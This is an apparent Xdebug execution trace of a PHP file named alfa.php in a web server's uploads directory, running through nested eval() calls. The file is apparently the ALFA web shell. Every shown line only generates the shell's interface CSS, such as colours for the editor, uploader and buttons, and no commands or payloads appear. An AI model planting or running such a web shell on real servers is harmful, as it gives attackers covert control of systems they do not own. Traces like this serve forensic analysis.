6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #00ff7f;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.editor-path{color: #00ff7f;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'editor_header_button'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.close-button, .editor-minimize'
7 213 0 0.077826 3449824 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'editor_header_button'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#1d5673', 'multi_selector' => ['.close-button, .editor-minimize' => 'background-color: {color};']]
7 213 1 0.077870 3449824
7 213 R '#1d5673'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#1d5673'
7 214 0 0.077895 3449824 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#1d5673' 'background-color: {color};'
7 214 1 0.077912 3449976
7 214 R 'background-color: #1d5673;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'background-color: #1d5673;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.close-button, .editor-minimize{background-color: #1d5673;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'editor_actions'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.editor_actions'
7 215 0 0.077979 3450096 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'editor_actions'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_actions' => 'color: {color};']]
7 215 1 0.078012 3450096
7 215 R '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#FFFFFF'
7 216 0 0.078037 3450096 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#FFFFFF' 'color: {color};'
7 216 1 0.078053 3450232
7 216 R 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.editor_actions{color: #FFFFFF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'editor_file_info_vars'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.editor_file_info_vars'
7 217 0 0.078117 3450080 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'editor_file_info_vars'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_file_info_vars' => 'color: {color};']]
7 217 1 0.078156 3450080
7 217 R '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#FFFFFF'
7 218 0 0.078180 3450080 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#FFFFFF' 'color: {color};'
7 218 1 0.078197 3450216
7 218 R 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.editor_file_info_vars{color: #FFFFFF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'editor_file_info_values'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.filestools'
7 219 0 0.078260 3450080 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'editor_file_info_values'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#67ABDF', 'multi_selector' => ['.filestools' => 'color: {color};']]
7 219 1 0.078293 3450080
7 219 R '#67ABDF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#67ABDF'
7 220 0 0.078319 3450080 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#67ABDF' 'color: {color};'
7 220 1 0.078335 3450216
7 220 R 'color: #67ABDF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #67ABDF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.filestools{color: #67ABDF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'editor_history_header'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.hheader-text,.history-clear'
7 221 0 0.078398 3450080 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'editor_history_header'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#14ff07', 'multi_selector' => ['.hheader-text,.history-clear' => 'color: {color};']]
7 221 1 0.078432 3450080
7 221 R '#14ff07'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#14ff07'
7 222 0 0.078456 3450080 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#14ff07' 'color: {color};'
7 222 1 0.078480 3450216
7 222 R 'color: #14ff07;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #14ff07;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.hheader-text,.history-clear{color: #14ff07;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'editor_history_list'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.editor-file-name'
7 223 0 0.078545 3450080 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'editor_history_list'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#03b3a3', 'multi_selector' => ['.editor-file-name' => 'color: {color};']]
7 223 1 0.078578 3450080
7 223 R '#03b3a3'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#03b3a3'
7 224 0 0.078603 3450080 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#03b3a3' 'color: {color};'
7 224 1 0.078619 3450216
7 224 R 'color: #03b3a3;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #03b3a3;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.editor-file-name{color: #03b3a3;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'editor_history_selected_file'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.is_active'
7 225 0 0.078682 3450080 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'editor_history_selected_file'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => ['.is_active' => 'background-color: {color};']]
7 225 1 0.078721 3450080
7 225 R 'rgba(49, 55, 93, 0.77)'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = 'rgba(49, 55, 93, 0.77)'
7 226 0 0.078748 3450080 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' 'rgba(49, 55, 93, 0.77)' 'background-color: {color};'
7 226 1 0.078765 3450256
7 226 R 'background-color: rgba(49, 55, 93, 0.77);'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'background-color: rgba(49, 55, 93, 0.77);'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.is_active{background-color: rgba(49, 55, 93, 0.77);}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'editor_history_file:hover'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.file-holder > .history:hover'
7 227 0 0.078843 3450632 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'editor_history_file:hover'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.file-holder > .history:hover' => 'background-color: {color};']]
7 227 1 0.078877 3450632
7 227 R '#646464'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#646464'
7 228 0 0.078902 3450632 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#646464' 'background-color: {color};'
7 228 1 0.078920 3450784
7 228 R 'background-color: #646464;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'background-color: #646464;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.file-holder > .history:hover{background-color: #646464;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'input_box_border'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = 'input[type=text],textarea'
7 229 0 0.079002 3450608 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'input_box_border'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['input[type=text],textarea' => 'border: 1px solid {color}']]
7 229 1 0.079036 3450608
7 229 R '#0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#0E304A'
7 230 0 0.079062 3450608 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
7 230 1 0.079079 3450760
7 230 R 'border: 1px solid #0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'border: 1px solid #0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= 'input[type=text],textarea{border: 1px solid #0E304A}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'input_box_text'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = 'input[type=text],textarea'
7 231 0 0.079144 3450608 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'input_box_text'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#999999', 'multi_selector' => ['input[type=text],textarea' => 'color: {color};']]
7 231 1 0.079178 3450608
7 231 R '#999999'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#999999'
7 232 0 0.079203 3450608 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#999999' 'color: {color};'
7 232 1 0.079220 3450744
7 232 R 'color: #999999;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #999999;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= 'input[type=text],textarea{color: #999999;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'input_box:hover'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = 'input[type=text]:hover,textarea:hover'
7 233 0 0.079289 3450592 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'input_box:hover'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=text]:hover,textarea:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
7 233 1 0.079325 3450592
7 233 R '#27979B'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#27979B'
7 234 0 0.079357 3450592 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
7 234 1 0.079375 3450768
7 234 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= 'input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'select_box_border'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = 'select'
7 235 0 0.079448 3450632 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'select_box_border'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['select' => 'border: 1px solid {color}']]
7 235 1 0.079481 3450632
7 235 R '#0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#0E304A'
7 236 0 0.079506 3450632 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
7 236 1 0.079523 3450784
7 236 R 'border: 1px solid #0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'border: 1px solid #0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= 'select{border: 1px solid #0E304A}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'select_box_text'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = 'select'
7 237 0 0.079586 3450608 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'select_box_text'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#FFFFEE', 'multi_selector' => ['select' => 'color: {color};']]
7 237 1 0.079619 3450608
7 237 R '#FFFFEE'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#FFFFEE'
7 238 0 0.079644 3450608 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#FFFFEE' 'color: {color};'
7 238 1 0.079660 3450744
7 238 R 'color: #FFFFEE;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #FFFFEE;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= 'select{color: #FFFFEE;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'select_box:hover'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = 'select:hover'
7 239 0 0.079721 3450592 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'select_box:hover'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['select:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
7 239 1 0.079756 3450592
7 239 R '#27979B'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#27979B'
7 240 0 0.079780 3450592 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
7 240 1 0.079798 3450768
7 240 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= 'select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'button_border'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = 'input[type=submit],.button,#addup'
7 241 0 0.079875 3450632 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'button_border'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit],.button,#addup' => 'border: 1px solid {color};']]
7 241 1 0.079909 3450632
7 241 R '#27979B'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#27979B'
7 242 0 0.079934 3450632 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#27979B' 'border: 1px solid {color};'
7 242 1 0.079958 3450784
7 242 R 'border: 1px solid #27979B;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'border: 1px solid #27979B;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= 'input[type=submit],.button,#addup{border: 1px solid #27979B;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'button:hover'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = 'input[type=submit]:hover'
7 243 0 0.080035 3450608 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'button:hover'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
7 243 1 0.080072 3450608
7 243 R '#27979B'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#27979B'
7 244 0 0.080097 3450608 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:2px solid {color};'
7 244 1 0.080115 3450784
7 244 R 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= 'input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.button:hover,#addup:hover'
7 245 0 0.080175 3451144 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'button:hover'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
7 245 1 0.080210 3451144
7 245 R '#27979B'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#27979B'
7 246 0 0.080235 3451144 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
7 246 1 0.080252 3451320
7 246 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'outputs_text'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.ml1'
7 247 0 0.080322 3451144 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'outputs_text'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#67ABDF', 'multi_selector' => ['.ml1' => 'color: {color};']]
7 247 1 0.080354 3451144
7 247 R '#67ABDF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#67ABDF'
7 248 0 0.080384 3451144 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#67ABDF' 'color: {color};'
7 248 1 0.080401 3451280
7 248 R 'color: #67ABDF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #67ABDF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.ml1{color: #67ABDF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'outputs_border'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.ml1'
7 249 0 0.080499 3451104 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'outputs_border'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.ml1' => 'border: 1px solid {color};']]
7 249 1 0.080533 3451104
7 249 R '#0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#0E304A'
7 250 0 0.080564 3451104 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#0E304A' 'border: 1px solid {color};'
7 250 1 0.080581 3451256
7 250 R 'border: 1px solid #0E304A;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'border: 1px solid #0E304A;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.ml1{border: 1px solid #0E304A;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'uploader_border'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.inputfile'
7 251 0 0.080645 3451120 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'uploader_border'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
7 251 1 0.080713 3451120
7 251 R '#0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#0E304A'
7 252 0 0.080743 3451120 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#0E304A' 'box-shadow:0 0 4px {color};border:1px solid {color};'
7 252 1 0.080761 3451296
7 252 R 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'uploader_background'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.inputfile strong'
7 253 0 0.080841 3451144 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'uploader_background'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile strong' => 'background-color: {color};']]
7 253 1 0.080875 3451144
7 253 R '#0E304A'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#0E304A'
7 254 0 0.080900 3451144 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#0E304A' 'background-color: {color};'
7 254 1 0.080917 3451296
7 254 R 'background-color: #0E304A;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'background-color: #0E304A;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.inputfile strong{background-color: #0E304A;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'uploader_text_right'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.inputfile strong'
7 255 0 0.080984 3451120 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'uploader_text_right'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.inputfile strong' => 'color: {color};']]
7 255 1 0.081022 3451120
7 255 R '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#FFFFFF'
7 256 0 0.081047 3451120 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#FFFFFF' 'color: {color};'
7 256 1 0.081064 3451256
7 256 R 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.inputfile strong{color: #FFFFFF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'uploader_text_left'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.inputfile span'
7 257 0 0.081126 3451104 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'uploader_text_left'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#25ff00', 'multi_selector' => ['.inputfile span' => 'color: {color};']]
7 257 1 0.081160 3451104
7 257 R '#25ff00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#25ff00'
7 258 0 0.081185 3451104 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#25ff00' 'color: {color};'
7 258 1 0.081201 3451240
7 258 R 'color: #25ff00;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #25ff00;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.inputfile span{color: #25ff00;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'uploader:hover'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.inputfile:hover'
7 259 0 0.081263 3451104 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'uploader:hover'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['.inputfile:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
7 259 1 0.081297 3451104
7 259 R '#27979B'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#27979B'
